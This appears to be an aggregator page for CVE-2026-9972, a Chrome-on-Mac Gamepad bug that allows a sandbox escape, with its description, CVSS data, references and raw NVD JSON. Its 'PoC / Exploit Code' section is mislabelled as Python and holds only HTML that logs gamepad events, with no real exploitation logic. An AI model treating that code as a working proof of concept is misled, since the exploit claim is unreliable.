CVE-2026-9972

Description

Uninitialized Use in Gamepad in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome for Mac < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9972: Uninitialized Use in Gamepad
Description: This HTML page attempts to trigger the Gamepad API interaction.
Note: Exploitation requires a compromised renderer process and specific heap grooming.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9972 PoC</title>
</head>
<body>
    <h1>CVE-2026-9972 Gamepad PoC</h1>
    <p>Open the console to see Gamepad events.</p>
    <script>
        // Listen for gamepad connection events
        window.addEventListener("gamepadconnected", function(e) {
            console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
                e.gamepad.index, e.gamepad.id,
                e.gamepad.buttons.length, e.gamepad.axes.length);
            
            // Access gamepad object to potentially trigger uninitialized use
            var gamepad = navigator.getGamepads()[e.gamepad.index];
            if (gamepad) {
                // Iterate through axes/buttons to access memory
                for (let i = 0; i < gamepad.axes.length; i++) {
                    console.log("Axis " + i + ": " + gamepad.axes[i]);
                }
            }
        });

        // Polling method as a fallback
        setInterval(function() {
            var gamepads = navigator.getGamepads();
            for (var i = 0; i < gamepads.length; i++) {
                if (gamepads[i]) {
                    // Polling access
                    var gp = gamepads[i];
                }
            }
        }, 100);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9972
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9972
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9972/
[4] VulDB https://vuldb.com/cve/CVE-2026-9972
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/508463705

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9972", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.407", "lastModified": "2026-05-29T16:16:39.317", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uninitialized Use in Gamepad in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-457"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/508463705", "source": "[email protected]"}]}}